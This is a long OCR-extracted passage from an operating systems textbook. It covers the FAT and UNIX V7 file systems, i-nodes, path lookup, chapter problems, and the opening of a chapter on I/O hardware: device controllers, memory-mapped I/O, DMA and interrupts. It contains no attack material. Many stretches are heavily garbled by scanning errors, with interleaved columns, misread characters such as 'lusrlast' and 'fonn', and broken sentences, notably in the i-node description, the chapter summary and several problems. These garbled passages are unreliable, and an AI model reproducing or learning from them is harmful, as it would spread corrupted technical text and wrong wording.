MS-DOS uses the FAT to keep track of free disk blocks. Any block that is not 
currently allocated is marked with a special code. When MS�DOS needs a new 
disk block, it searches the FAT for an entry containing this code. Thus no bitmap 
or free list is required. 

4.5.3 The UNIX V7 File System 

Even early versions of UNIX had a fairly sophisticated multiuser file system 
since it was derived from MULTICS. Below we will discuss the V7 file system, 
the one for the PDP-l l  that made UNIX famous. We will examine -a modem 
UNIX file system in the context of Linux in Chap. 10. 

The file system is in the fonn of a tree starting at the root directory, with the 
addition of links, fanning a directed acyclic graph. File names are up to 14 char
acters and can contain any ASCII characters except / (because that is the separator 
between components in a path) and NUL (because that is used to pad out names 
shorter than 14 characters). NUL has the numerical value ofO. 

A UNIX directory entry contains one entry for each file in that directory, Each 
entry is extremely simple because UNIX uses the i-node scheme illustrated in 
Fig. 4-13. A directory entry contains only two fields: the file name (14 bytes) and 
the number of the i-node for that file (2 bytes), as shown in Fig. 4-33. These pa
rameters limit the number of files per file system to 64K. 

Like the i-node of Fig. 4-13, the UNIX i-nodes contains some attributes. The 
attributes contain the file size, three times (creation, last access, and last modifica
tion), owner, group, protection information, and a count of the number of direc
tory entries that point to the i-node. The latter field is needed due to links. When
ever a new link is made to an i-node, the count in the i-node is increased. When a 
link is removed, the count is decremented. When it gets to 0, the i-node is re
claimed and the disk blocks are put back in the free list. 

Keeping track of disk blocks is done using a generalization of Fig. 4-13 in 
order to handle very large files. The first 10 disk addresses are stored in the i-node 
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Figure 4�33. A UNIX V7 directory entry. 

information is right in the i-node, which 
itself, so for smal

.
l files, al� the neceSS:en the file is opened. For somewhat larg

is fetched from dISk to roam memor� 
d '  th address of a disk block called a 

f h dd esses in the I-no e IS e . . 
er files, one 0 t e a r . dd','lonal disk addresses If thlS still 
. . ,  bi k This block contams a 1 . 

smgle mdlrect OC . 
. h '  d called a double indirect block, con-

is 
.
not enough, another :���s��� !o:t:n� �' list of single indirect blocks. �a�h of 

tams the address of a o
. f. hundred data blocks. If even this IS not 

these single indirect blocks pomts to a
1 

e� sed The complete picture is given in 
enough, a triple indirect block can a so e u . 

Fig. 4-34. 

I-node 
Attributes Single 

indirect 
block. 

Double 
indirect 
block 

Triple 
indirect 
block 

Figure 4-34. A UNIX i-node. 

Addresses of 
data blocks 

st take the file name supplied and 
When a file is opened, the fil� sy�em :;:� path name /usr/ast/mbox is looked 

locate its disk blocks. Let us conSI er ow 
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up. We will use UNIX as an example, but the algorithm is basically the same for 
all hierarchical directory systems. First the file system locates the root directory. 
In UNIX its i-node is located at a fixed place on the disk. From this i-node, it 
locates the root directory, which can be anywhere on the disk, but say block L 

Then it reads the root directory and looks up the first component of the path, 
usr, in the root directory to find the i-node number of the file Iusr. Locating an i
node from its number is straightforward, since each one has a fixed location on 
the disk. From this i-node, the system locates the directory for lusr and looks up 
the next component, ast, in it. When it has found the entry for ast, it has the i-node 
for the directory lusrlast. From this i-node it can find the directory itself and look 
up mbox. The i-node for this file is then read'into memory and kept there until the 
file is closed. The lookup process is illustrated in Fig. 4-35. 

Root directory 
1 
1 .. 
4 bin 
7 dev 

14 lib 
9 elc 
6 us< 
8 Imp 
looking up 
usr yields 
j·node 6 

I-node 6 
is for lusr 

Mode 
size 
times 

132 

I-node 6 
says that 
lusr is in 
block 132 

Block 132 
is lUST 

directory 
6 . 
1 .. 

19 dick 
30 erik 
51 jim 
26 asl 
45 bal 

Iusr/ast 
is i-node 

26 

j-node 26 
is for 

!usr/ast 

Mode 
size 
times 

406 

l·node26 
says that 

lusr/ast is in 
block 406 

Figure 4-35. The steps in looking up lusrlastlmbox. 

Block 406 
is/usr/ast 
directory 

26 
6 . . 

64 grants 
92 books 
60 mbox 
81 minix 
17 sec 

lusr/ast/mbox 
is i-node 

60 

Relative path names are looked up the same way as absolute ones, only start
ing from the working directory instead of starting from the root directory. Every 
directory has entries for . and .. which are put there when the directory is �reated. 
The entry _ has the i-node number for the current directory, and the entry for .. 
has the i-node number for the parent directory. Thus, a procedure looking up 
../dick/prog.c simply looks up .. in the working directory, finds' the i-node number 
for the parent directory, and searches that directory for dick. No special mechan
ism is needed to handle these names. As far as the directory system is concerned, 
they are just ordinary ASCII strings, just the same as any other names. The only 
bit of trickery here is that _. in the root directory points to itself. 
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4.6 RESEARCH ON FILE SYSTEMS 

File systems have always attracted more research than other parts of the oper

ating system and that is still the case. While standard file systems are fairly well 

understood, there is still quite a bit of research going on about optimizing buffer 

cache management (Burnett et aI., 2002; Ding et a1., 2007; Gnaidy et aI., 2004; 

Kroeger and Long, 2001; Pai et aL, 2000; and Zhou et al., 2001). Work is going 

on about new kinds of file systems, such as user-level file systems (Mazieres, 

2001), flash file systems (Gal et a!., 2005), joumaling file systems (Prabhakaran et 

aI., 2005; and Stein et al., 2001), versioning file systems (Cornell et a!., 2004), 

peer-ta-peer file systems (Muthitacharoen et al., 2002) and others. The Google 

file system is also unusual due to its great fault tolerance (Ghemawat et aI., 2003). 

Different ways of finding things in file systems are also of interest (Padioleau and 

Ridoux, 2003). 
Another area that has been getting attention is provenance-keeping track of 

the history of the data, including where they came from, who owns them, and how 

they has been transformed (Muniswanmy-Reddy et a!., 2006; and Shah et aI., 

2007). This information can be used in a variety of ways. Making backups is still 

getting some attention, too (Cox et aI., 2002; and Rycroft, 2006), as is the related 

topic of recovery (Keeton et a1., 2006). Related to backups is keeping data around 

and usable for decades (Baker et al., 2006; Maniatis et aI., 2003). Reliability and 

security are also far from solved problems (Greenan and Miller, 2006; Wires and 

Feeley, 2007; Wright et aI., 2007; and Yang et al., 2006). And finally per

formance has always been a research topic and still is (Caudill and Gavrikovska, 

2006; Chiang and Huang, 2007; Srein, 2006; Wang et aI., 2006a; and Zhang and 

Ghose, 2007). 

4.7 SUMMARY 

When seen from the outside, a file system is a collection of files and direc

tories, plus operations on them. Files can be read and written, directories can be 

created and destroyed, and files can be moved from directory to directory. Most 

modem file systems support a hierarchical directory system in which directories 

may have subdirectories and these may have subsubdirectories ad infinitum. 

When seen from the inside, a file system looks quite different. The file system 

designers have to be concerned with how storage is allocated, and how the system 

keeps track of which block goes with which file. Possibilities include contiguous 

files, linked lists, file allocation tables, and i-nodes. Different systems have dif

ferent directory structures. Attributes can go in the directories or somewhere else 

t�;!'� � i-??de? Disk space can be managed using free lists of bitmaps. File sys-
elmbillty 1$ enhanced by making incremental dumps and by hay' gram that can repair sick file systems. File system performance is imp�:n� �:� 
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can .be enhanced in several ways, including caching, read ahead, and carefully 
�lacmg the blocks of a file

. 
close to each other. Log-structured file systems also 

Improve perform�ce by domg writes in large units. 

. Examples of fIle systems include ISO 9660, MS-DOS, and UNIX. These differ � many ways, mcludmg how they keep track of which blocks go with which file 
rectory structure, and management of free disk space. 

' 

PROBLEMS 

1. Give fiv� different path names for the file /etc/passwd. Hint: Think about the d;rec-
tory entnes "." and " .. ". � 

, 

2. In Windows, when a user double clicks on a file listed by Windows Expl 
gram 's d '  h fi 

orer, a pro

syst 
1 run

1d
a
kn
n glYen

h
. t at lie as a parameter. List two different ways the operating 

em cou ow w leh program to run. 

3. In early UNIX systems, executable files (a.out files) began with a very specific ma ic 
number, not One chosen at random. These files began with a header followed b �h �ex��

l
d �

l
ta segments. Why do you think a very specific number w�s chosen fo� ex� 

th
Cll c: e e

d
�
? 

whereas other file types had a more-or-less random magic number as 
e 11rst wor . 

• 

4. In Fig. 4-4, one of the attributes is the record length. Why does the 0 . 

ever care about this? 
peranng system 

S. Systems that support sequential files always have an operation to rewind fl 
systems that support random access files need this too? 

I es. Do 

6. In SOme systems it is possible to map part of a file into memory What tr" 
must such syste ' ? H 

. . . res lctlons 
ms Impose. ow IS thIS partial mapping implemented? 

7. � simp�
. 
op�rating system on�y supports a single directory but allows that directory to 

av� ar l�anly I?any files WIth arbitrarily long file names. Can somethin a ._ 
matmg a hIerarchical file system be simulated? How? 

g pproxl 

8. In UNIX a�� Windows: :an�om
. 
access is done by having a special system call that 

moves the curren� posinon pomter associated with a file to a given byte in the file. 
Propose an alternatlve way to do random access without having this system call. 

9. Consider the directory tree of Fig. 4-8. If /usrljim is the working directory what is the 
absolute path name for the file whose relative path name is ..!ast/x? 

' 

10. ;ontiguous allocati�n of fJles l�ads to disk fragmentation, as mentioned in the text 

. ecause some space III the last diSk block will be wasted in filei whose leno-th is not a� 
Illtegral number of

.
blocks. � this

. 
internal fragmentation or external fragmentation? 

Make an analogy wlth somethmg dlscussed in the previous chaplCr. 
11. In light of the answer to the . 

' 

any sense? prevlOUS 9uestiQn, doe� comnacllna l'he d' ,/, f 5 II 1SK eVer make J 
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12. Some digital consumer devices need to store data, for example as files. Name a mod
ern device that requires file storage and for which contiguous allocation would be a 
fine idea. 

13. How does MS-DOS implement random access to files? 

14. Consider the i-node shown in Fig. 4-13. If it contains 10 direct addresses of 4 bytes 
each and all disk blocks are 1024 KB, what is the largest possible file? 

15. It has been suggested that efficiency could be improved and disk space saved by stor
ing the data of a short file within the i-node. For the i-node of Fig. 4-13, how many 
bytes of data could be stored inside the i-node? 

16. Name one advantage of hard links over symbolic links and one advantage of symbolic 
links over hard links. 

17. Free disk space can be kept track of using a free list or a bitmap. Disk addresses re
quire D bits. For a disk with B blocks, F of which are free. state the condition under 
which the free list uses less space than the bitmap. For D having the value 16 bits, 
express your answer as a percentage of the disk space that must be free. 

IS. What would happen if the bitmap or free list containing the information about free 
disk blocks was completely lost due to a crash? Is there any way to recover from this 
disaster, or is it bye-bye disk? Discuss your answers for UNIX and the FAT-16 file 
system separately. 

19. Oliver Owl's night job at the university computing center is to change the tapes used 
for overnight data backups. While waiting for each tape to complete, he works on 
writing his thesis that proves Shakespeare's plays were written by extraterrestrial visi
tors. His text processor runs on the system being backed up since that is the only one 
they have. Is there a problem with this arrangement? 

20. We discussed making incremental dumps in some detail in the text. In Windows it is 
easy to tell when to dump a file because every me has an archive bit. This bit is miss
ing in UNIX. How do UNIX backup programs know which mes to dump? 

21. Suppose that file 21 in Fig. 4-25 was not modified since the last dump. In what way 
would the four bitmaps of Fig. 4-26 be different? 

22. It has been suggested that the first part of each UNIX file be kept in the same disk 
block as its i-node. What good would this do? 

23. Consider Fig. 4-27. Is it possible that for some particular block number the counters 
in both lists have the value 2? How should this problem be corrected? 

24. The performance of a file system depends upon the cache hit rate (fraction of blocks 
found in the cache). If it takes 1 msec to satisfy a request from the cache, but 40 msec 
to satisfy a request if a disk read is needed, give a formula for the mean time required 
to satisfy a request if the hit rate is h. Plot this function for values of h varying from 0 
to 1.0. 

25. Consider the idea behind Fig. 4¥21, but now for a disk with a mean seek time of 8 
msec, a rotational rat�:0:n5.000 rpm, and 262,144 bytes per track. What are the data 
rates for block sizes ofl KB, 2 KB, and 4 KB, respectively? 
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26. A certain file system uses 2�� disk blocks. The median file size is I KB. If all files were exactly 1 KB, wh�t fraction of the disk space would be wasted? Do YOll think the w�stage for a real fde system will be higher than this number or lower than it? Explam your answer. . 

27. The MS-DOS FAT-16 table contains 64K entries. Suppose that one of the bits had been 

28. 

29. 

needed for some other: purpose and that the table contained exactly 32 768 " 
stead W·th th h ' entries m� 

. . : . no 0 er c anges, what would the largest MS-DOS file have been under thIS condltlOn? 

Files in MS-D�S have t? compe.te for space in the FAT-16 table in memory. If one file ,uses k enmes, that 1S k entrIes that are not available to any other file what con-stramt does this place on the total length of all files combined? 
' 

A U�lX �t� system has !-KB b�ocks and 4-byte disk addresses, What is the maximum file size If I-nodes contam 10 dIrect entries, and one sino-Ie, double and triple i d· t entry each? 
b , n uec 

30. How many disk operations are needed to fetch the i-node for the file /usrlast/courses/o�/handou/.l? Assume that the i-node for the root directory is in me�ory, b�t nothmg else along the path is in memory. Also assume that all directories fit 10 one disk block. 
31. I? m�ny UNIX systems, the i-nodes are kept at the start of the disk, An alternative deSign IS to allocate an i-node when a file is created and put the i-node at the start of the first block of the file. Discuss the pros and cons of this alternative. 

• 

32. Write a progr�m that reverses the bytes of a file, so that the last byte is now first and the first byte l� �ow last. It must work with an arbitrarily lono file, but try to make 't reasonably effIcient. 
., I 

33. W�ite a pro�ram tha� starts at a given directory and descends the file tree from that 
P?tnt recordlOg the SIzes of all the files it finds. When it is all done it should . t hlsto?ram of the file sizes using a bin width specified as a paramete; (e 0- with

P��24
a 

file Sizes of 0 to 1023 go in one bin, 1024 to 2047 go in the next bin, etc.r' , 

34. W�te a prog�am that sc�ns all directories in a UNIX file system and finds and locates aU I-nodes wIth a ha:d hnk count of two or more. For each such file, it lists tooether all file names that pomt to the file. b 

35. Write � new version of the UNIX is program. This version takes as an argument one or more dIrectory names and for each directory lists aU the files in that directory one line per file. �ach field should be formatted in a reasonable way given its type. List only the first diSk address, if any. 

.' -�,� , . :_,...,";;2; 





5 
INPUT/OUTPUT 

In addition to providing abstractions such as processes (and threads), address 
spaces, and files, an operating system also controls all the computer's I/O 
(Input/Output) devices. It must issue commands to the devices, catch interrupts, 
and handle errors. It should also provide an interface between the devices and the 
rest of the system that is simple and easy to use. To the extent possible, the inter
face should be the same for all devices (device independence). The JiO code rep
resents a significant fraction of the total operating system. How the operating sys
tem manages I/O is the subject of this chapter. 

This chapter is organized as follows. First we will look at some of the princi
ples of I/O hardware, and then we will look at I/O software in general. I/O soft
ware can be structured in layers, with each layer having a well-defined task We 
will look at these layers to see what they do and how they fit together. 

Following that introduction, we will look at several I/O devices in detail: 
disks, clocks, keyboards, and displays. For each device we win look at its hard
ware and software. Finally, we will consider power management. 

5.1 PRINCIPLES OF I/O HARDWARE 

Different people look at I/O hardware in different ways. Electrical engineers 
look at it in terms of chips, wires, power supplies, motors, and all the other physi
cal components that make up the hardware. Programmers look at the interface 
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presented to the software-the commands the hardware accepts, the functions it 

carries out, and the errors that cao be reported back. In this book we are con

cerned with programming I/O devices, not designing, building, or maintaining 

them, so our interest will be restricted to how the hardware is programmed, not 

how it works inside. Nevertheless, the programming of many I/O devices is often 

intimately connected with their internal operation. In the next three sections we 

will provide a little general background on lIO hardware as it relates to pro

gramming. It may be regarded as a review and expansion of the introductory 

material in Sec. 1 .4. 

5.1.1 I/O Devices 

110 devices can be roughly divided into two categories: block devices and 
character devices. A block device is one that stores information in fixed-size 
blocks, each one with its own address. Common block sizes range from 512 bytes 
to 32,768 bytes. All transfers are in units of one or more entire (consecutive) 
blocks. The essential property of a block device is that it is possible to read or 
write each block independently of all the other ones. Hard disks, CD-ROMs, and 
USB sticks are common block devices. 

If you look closely, the boundary between devices that are block addressable 
and those that are not is not well defined. Everyone agrees ,that a disk is a block 
addressable device because no matter where the arm currently is, it is always pos
sible to seek to another cylinder and then wait for the required block to rotate 
under the head. Now consider a tape drive used for making disk backups. Tapes 
contain a sequence of blocks. If the tape drive is given a command to read block 
N, it can always rewind the tape and go forward until it comes to block N. This 
operation is analogous to a disk doing a seek, except that it takes much longer. 
Also, it may or may not be possible to rewrite one block in the middle of a tape. 
Even if it were possible to use tapes as random access block devices, that is 
stretching the point somewhat: they are nonnally not used that way. 

The other type of I/O device is the character device. A character device de
livers or accepts a stream of characters, without regard to any block structure. It 
is not addressable and does not have any seek operation. Printers, network inter
faces, mice (for pointing), rats (for psychology lab experiments), and most other 
devices that are not disk-like can be seen as character devices. 

This classification scheme is not perfect. Some devices just do not fit in. 
Clocks, for example, are not block addressable. Nor do they generate or accept 
character streams. All they do is cause interrupts at wen-defined intervals. Mem
ory-mapped screens do not fit the model well either. Still, the model of block and 
character devices is general enough that it can be used as a basis for making some 
of the operating system software dealing with I/O device independent. The file 
system, for example, deals just with abstract block devices and leaves the device
dependent part to lower-level software. 
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h 
11°

f 
devices cover a huge range in speeds, which puts considerable pressure on 

t e so tware to perfonn wen 0 d . . ver many or ers of magmtude 10 data rates. Fig. 5-

f
l shows tJ:e data rates of some common devices. Most of these devices tend to O'et 
aster as tIme goes on. 

b 

Device Data rate 

Keyboard 1 0  bytes/sec 
Mouse 100 bytes/sec 
56K modem 7 KB/sec 
Scanner 400 KB/sec 
Digital camcorder 3.5 MB/sec 
802. 1 1 g  Wtre!ess 6.75 MB/sec 
52x CD-ROM 7.8 MB/sec 
Fast Ethernet 12.5 MB/sec 
Compact flash card 40 MB/sec 
FireWire (IEEE 1394) 50 MB/sec 
USB 2.0 60 MB/sec 
SONET OC-12 network 78 MB/sec 
SCSI Ultra 2 disk 80 MB/sec 
Gigabit Ethernet 125 MB/sec 
SATA disk drive 300 MB/sec 
U!trium tape 320 MB/sec 
PCf bus 528 MB/sec 

Figure 5·1. Some typical device, network, and bus data rates. 

5.1.2 Device Controllers 

I/O uni.ts typically consist of a mechanical component and an electronic com�onent. It IS oft�n possible to sep�ate the two portions to provide a more modular 
nd general desIgn. The electromc component is called the device controller or 

adapter. On p�rsonal
. 
co�puters, it often takes the fonn of a chip on the ar-

entboard or a pnnted CIrcUIt card that can be inserted into a (PCI) e . PI 
The mecha . c I '  xpanslOn s ot. 

F. 
ill a component IS the device itself. This arrangement is shown in 

19. 1-6. 

h 
Th� co�troller card usually has a connector on it, into which a cable leading to 

t 
. e de

.
vIce .Itself ca� be plugged. Many controllers can handle two, four or even 

eIght Ide�tlcal devlc�s. If the interface between the controller and de�ice is a 
standard mterface, eIther an official ANSI, IEEE, or ISO standard or a de facto 
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one, then companies can make controllers or devices that fit that interface. Many 
companies, for example, make disk drives that match the IDE, SATA, SCSI, 
USB, Of FireWire (IEEE 1394) interface. 

The interface between the controller and the device is often a very low-level 
interface. A disk, for example, might be formatted with 10,000 sectors of 512 
bytes per track. What actually comes off the drive, however, is a serial bit stream, 
starting with a preamble, then the 4096 bits in a sector, and finally a checksum, 
also called an Error-Correcting Code (ECC). The preamble is written when the 
disk is formatted and contains the cylinder and sector number, the sector size, and 
similar data, as well as synchronization information. 

The controller's job is to convert the serial bit stream into a block of bytes and 
perform any error correction necessary. The block of bytes is typically first as
sembled, bit by bit, in a buffer inside the controller. After its checksum has been 
verified and the block has been declared to be error free, it can then be copied to 
main memory. 

The controller for a monitor also works as a bit serial device at an equally low 
level. It reads bytes containing the characters to be displayed from memory and 
generates the signals used to modulate the CRT beam tq cause it to write on the 
screen. The controller also generates the signals for making the CRT beam do a 
horizontal retrace after it has finished a scan line, as well as the signals for mak
ing it do a vertical retrace after the entire screen has been scanned. If it were not 
for the CRT controller, the operating system programmer would have to explicitly 
program the analog scanning of the tube. With the controller, the operating system 
initializes the controller with a few parameters, such as the number of characters 
or pixels per line and number of lines per screen, and lets the controller take care 
of actually driving the beam. Flat-screen TFT displays are different, but just as 
complicated. 

5,1,3 Memory-Mapped I/O 

Each controller has a few registers that are used for communicating with the 
CPU, By writing into these registers, the operating system can command the de
vice to deliver data, accept data, switch itself on or off, or otherwise perform 
some action. By reading from these registers, the operating system can leam what 
the d�vice's state is, whether it is prepared to accept a new command., and so on. 

In addition to the control registers, many devices have a data buffer that the 
operating system can read and write. For example, a common way for computers 
to display pixels on the screen is to have a video RAM, which is basically just a 
data buffer, available for programs or the operating system to write into. 

The issue thus arises of how the CPU communicates with the control registers 
and the device data buffers. Two alternatives exist. In the first approach, each 
control register is assigned an I/O port number, an 8- or 16-bit integer. The set of 
all the I/O ports form the I/O port space and is protected so that ordinary user 
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How do these schemes work? In aU cases, when the CPU wants to read a 
word either from memory or from an lIO port, it puts the address it needs on the 
bus' �ddress lines and then asserts a READ signal on a bus' control line. A second 
sio-nal line is used to tell whether I/O space or memory space is needed. If it is 
m�mory space, the memory responds to the request. If it is 1I0

. 
spa�e. the I/O de

vice responds to the request. If there is only memory space [as III 
.
Flg. 5-2(b)], ev

ery memory module and every I/O device compares the addr�ss hnes to the range 
of addresses that it services. If the address falls in its range, It responds to the re
quest. Since no address is ever assigned to both memory and an I/O device, there 
is no ambiguity and no conflict. 

The two schemes for addressing the controllers have different strengths and 
weaknesses. Let us start with the advantages of memory-mapped I/O. First, if 
special I/O instructions are needed to read and wri.te the dev�ce control registers, 
access to them requires the use of assembly code smce there IS no way to execute 
an IN or OUT instruction in C or C++. Calling such a procedure adds overhead to 
controlling I/O. In contrast, with memory-mapped 1/0; device control registers 
are just variables in memory and can be addressed in � the .same way as a�y other 
variables. Thus with memory-mapped 110, a I/O devIce dnver can be wntten en
tirely in C. Without memory-mapped I/O, some assembly code is nee�ed . . 

Second, with memory-mapped I/O, no special protection mechamsm IS need
ed to keep user processes from performing I/O. All the opera�i�g system has to do 
is refrain from putting that portion of the address space contammg the control reg
isters in any user's virtual address space. Better yet, if each .device has its co?trol 
reo-isters on a different page of the address space, the operatmg system can gIVe a 
us�r control over specific devices but not others by simply including the desired 
pages in its page table. Such a scheme can aUo,: different �evice drivers to. be 
placed in different address spaces, not only reducmg kernel SIze but also keepmg 
one driver from interfering with others. 

Third, with memory-mapped I/O, every instruction that can reference memory 
can also reference control registers. For example, if there is an instruction, TEST, 
that tests a memory word for 0, it can also be used to test a control register for 0, 
which might be the signal that the device is idle and can accept a new command. 
The assembly language code might look like this: 

lOOP: TEST PORT _4 
BEQ READY 
BRANCH LOOP 

READY: 

/I check if port 4 is 0 
II if it is 0, go to ready 
II otherwise, continue testing 

If memory-mapped I/O is not present, the control register must first be read into 
the CPU, then tested, requiring two instructions instead of one. In the case of the 
loop given above, a fourth instruction has to be added, slightly slowing down the 
responsiveness of detecting an idle device. 
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In computer design, practically everything involves trade-offs, and that is the 
case here too. Memory-mapped I/O also has its disadvantages. First, most com
puters now�days have some �orm of caching of memory words. Caching a device 
contrOl

. 
regIster would be dIsastrous. Consider the assembly code loop given 

above m the presence of caching. The first reference to PORT _4 would cause it to 
be cached. Subsequent references would just take the value from the cache and 
not even ask the device. Then when the device finally became ready, the software 
would have no way of finding out. Instead, the loop would go on forever. 

.To prevent this situation with memory-mapped lIO, the hardware has to be 
eqUIpped. With. the ability to selectively disable caching, for example, on a per 
p�ge baSIS. ThIS �eature adds extra complexity to both the hardware and the oper
atmg system, WhICh has to manage the selective caching. 

Sec?nd, if there is .only one address space, then all memory modules and all 
I/O deVIces must exam�ne all memory references to see which ones to respond to. 
If the computer has a smgle bus, as in Fig. 5-3(a), having everyone look at every 
address is straightforward. 

CPU 

\ 

Memory I/O 

All addresses (memory 
and flO) go here 

(a) 

Bus 

CPU reads and writes 01 memory 
go over this high-bandwidth bus 

(b) 

This memory port is 
to allow JIO devices 
access to memory 

Figure 5�3. (a) A single-bus architecture. (b) A dual-bus memory architecture. 

. However, the trend in modem personal computers is to have a dedicated hIgh-speed memory bus, as shown in Fig. 5-3(b), a property also found in mainframes, inci�entally. This bus is tailored to optimize memory performance, with �o compromIses for the sake of slow I/O devices. Pentium systems can have mul-uple buses (memory, PCI, SCSI, USB, ISA), as shown in Fig. 1-12. . -.... - . -. .. �. 

. The trouble wi.th having a separate memory bus on memory-mapped machines IS that the I/O deVIces have no way of seeing memory addresse,s as they go by on the memory bus, so they have no way of responding to them. Again, special meas� ures have to be taken to make memory-mapped I/O work on a system with multi-ple buses. One 
.
possibility is to first send all memory references to the memory. If the memory falls to respond, then the CPU tries the other buses. This design can be made to work but requires additional hardware complexity. 
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A second possible design is to put a snooping device on the memory bus to 
pass all addresses presented to potentially interested lIO devices. The problem 

here is that lIO devices may not be able to process requests at the speed the mem
ory can. 

A third possible design, which is the one used on the Pentium configuration of 
Fig. 1-12, is to filter addresses in the PCl bridge chip. This chip contains range 
registers that are preloaded at boot time. For example, 640K to 1 M CQuid be 
marked as a nonmemory range. Addresses that fall within one of the ranges mark
ed as nonmemory are forwarded onto the PCl bus instead of to memory. The 
disadvantage of this scheme is the need for figuring out at boot time which mem
ory addresses are not really memory addresses. Thus each scheme has arguments 
for and against it, so compromises and trade�offs are inevitable. 

5.1.4 Direct Memory Access (DMA) 

No matter whether a CPU does or does not have memory-mapped I/O, it 
needs to address the device controllers to exchange data with them. The CPU can 
request data from an I/O controller one byte at a time but doing so wastes the 
CPU's time, so a different scheme, called DMA (Direct Memory Access) is 

often used. The operating system can only use DMA if the hardware has a DMA 
controller, which most systems do. Sometimes this controller is integrated into 
disk controllers and other controllers, but such a design requires a separate DMA 
controller for each device. More commonly, a single DMA controller is available 
(e.g., on the parentboard) for regulating transfers to multiple devices, often 

concurrently. 
No matter where it is physically located, the DMA controller has access to the 

system bus independent of the CPU, as shown in Fig. 5-4. It contains several reg
isters that can be written and read by the CPU. These include a memory address 
register, a byte count register, and one or more control registers. The control reg
isters specify the I/O port to use, the direction of the transfer (reading from the I/O 
device or writing to the IJO device), the transfer unit (byte at a time or word at a 
time), and the number of bytes to transfer in one burst. 

To explain how DMA works, let us first look at how disk reads occur when 
DMA is not used. First the disk controller reads the block (one or more sectors) 
from the drive serially, bit by bit, until the entire block is in the controller's inter
nal buffer. Next, it computes the checksum to verify that no read errors have oc
curred. Then the controller causes an interrupt. When the operating system starts 
running, it can read the disk block from the controller'S buffer a byte or a word at 
a time by executing a loop, with each iteration reading one byte or word from a 
controller device register and storing it in main memory. 

WheQ DMA is used, the procedure is different. First the CPU programs the 
DMA controller by setting its registers so it knows w�at to transfer where (step 1 
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in Fig. 5-4). It also issues a command to the disk controller telling it to read data 
from the disk into its internal buffer and verify the checksum. When valid data are 
in the disk controller's buffer, DMA can begin. 

The D�A controller initiates the transfer by issuing a read reques� over the 
bus to the dISk controller (step 2). This read request looks like any other read re
quest, and the disk controller does not know or care whether it came from the 
CPU or from a DMA controller. Typically, the memory address to write to is on 
the bus' address lines so when the disk controller fetches the next word from its 
internal buffer, it knows where to write it. The write to memory is another stan
dard bus cycle (step 3). When the write is complete, the disk controller sends an 
acknowledgement signal to the DMA controller, also over the bus (step 4). The 
DMA controller then increments the memory address to use and decrements the 
byt� count. If the byte count is still greater than 0, steps 2 through 4 are repeated 
un�l the count reaches O. At that time, the DMA controller interrupts the CPU to �et It know that the transfer is

. 
now complete. When the operating system starts up, 

It does not have to copy the dISk block to memory; it is already there. 
DMA controllers vary considerably in their sophistication. The simplest ones 

handle one transfer at a t�me> as described above. More complex ones can be pro
gramI?-ed to

. 
handle mUltIple transfers at Once. Such controllers have multiple sets 

of �eglsters
. 

mternally, one for each channeL The CPU starts by loading each set of 
regISters WIth the relevant parameters for its transfer. Each transfer must use a dif
f�rent device controller. After each word is transferred (step� 2 through 4) in 
FIg. 5-4, the DMA controller decides which device to service next. It may be set 
up to use a round-robin algorithm, or it may have a priority scheme design to 
favor some devices over others. Multiple requests to different device controllers 
may be pending at the same time, provided that there is an unambiguous way to 
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tell the acknowledgements apart. Often a different acknowledgement line on the 
bus is used for each DMA channel for this reason. 

Many buses can operate in two modes: word-at-a-time mode and block mode. 
Some DMA controllers can also operate in either mode. In the former mode, the 
operation is as described above: the DMA controller requests for the transfer of 
one word and gets it. If the CPU also wants the bus, it has to wait. The mechan
ism is called cycle stealing because the device controller sneaks in and steals an 
occasional bus cycle from the CPU once in a while, delaying it slightly. In block 
mode the DMA controller tells the device to acquire the bus, issue a series of 
transiers, then release the bus. This fonn of operation is calle? burst mode. It �s 
more efficient than cycle stealing because acquiring the bus takes time and �lUltl
pIe words can be transferred for the price of one bus acquisition. The do�n sld� to 
burst mode is that it can block the CPU and other devices for a substantIal penod 
of time if a long burst is being transferred. 

In the model we have been discussing, sometimes called fly-by mode, the 
DMA controller tells the device controller to transfer the data directly to main 
memory. An alternative mode that some DMA controllers use is to have the de
vice controller send the word to the DMA controller, which then issues a second 
bus request to write the word to wherever it is supposed to go. This scheme re
quires an extra bus cycle per word transferred, but is more flexible in tha� it can 
also perform device-to-device copies and even memory-to-memory cop�es (by 
first issuing a read to memory and then issuing a write to memory at a dIfferent 
address). 

Most DMA controllers use physical memory addresses for their transfers. 
Using physical addresses requires the operating system to convert t?e vi:tual a�
dress of the intended memory buffer into a physical address and wnte this phySi
cal address into the DMA controller's address register. An alternative scheme 
used in a few DMA controllers is to write virtual addresses into the DMA con
troller instead. Then the DMA controller must use the MMU to have the virtual
to-physical translation done. Only in the case that the MMU is part of the memory 
(possible, but rare) rather than part of the CPU, can virtual addresses be put on the 
bus. 

We mentioned earlier that the disk first reads data into its internal buffer be
fore DMA can start. You may be wondering why the controller does not just store 
the bytes in main memory as soon as it gets them from the disk. In other words, 
why does it need an internal buffer? There are two reasons. First, by doing inter
nal buffering, the disk controller can verify the checksum before starting a trans
fer. If the checksum is incorrect, an error is signaled and no transfer is done. 

The second reason is that once a disk transfer has started, the bits keep arriv
ing from the disk at a constant rate, whether the controller is ready for them or 
not. If the controller tried to write data directly to memory, it would have to go 
over the system bus for each word transferred. If the bus were busy due to some 
other device using it (e.g., in burst mode), the controller would have to wait. If 
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the next disk word arrived before the previous one had been stored, the controller 
would have to store it somewhere. If the bus were very busy, the controller might 
end up storing quite a few words and having a lot of administration to do as well. 
When the block is buffered internally, the bus is not needed until the DMA 
begins, so the design of the controller is much simpler because the DMA transfer 
to memory is not time critical. (Some older controllers did, in fact, go directly to 
memory with only a small amount of internal buffering, but when the bus was 
very busy, a transfer might have had to be terminated with an overrun error.) 

Not all computers use DMA. The argument against it is that the main CPU is 
often far faster than the DMA controller and can do the job much faster (when the 
limiting factor is not the speed of the I/O device). If there is no other work for it 
to do, having the (fast) CPU wait for the (slow) DMA controller to finish is point
less. Also, getting rid of the DMA controller and having the CPU do all the work 
in software saves money, important on low-end (embedded) computers. 

S.l.S Interrupts Revisited 

We briefly introduced interrupts in Sec. 1.4.5, but there is more to be said. In 
a typical personal computer system, the interrupt structure is as shown in Fig. 5-5. 
At the hardware level, interrupts work as fonows. When an I/O device ·has fin
ished the work given to it, it causes an interrupt (assuming that interrupts have 
been enabled by the operating system). It does this by asserting a signal on a bus 
line that it has been assigned. This signal is detected by the interrupt controller 
chip on the parentboard, which then decides what to do. 

CPU 3. CPU acks 
interrupt 

2. Controller 
issues 
interrupt 

Interrupt 
controller Device is finished 

= = = L,:;;=-J-------��::;(Prjnter 

\ 
8u, 

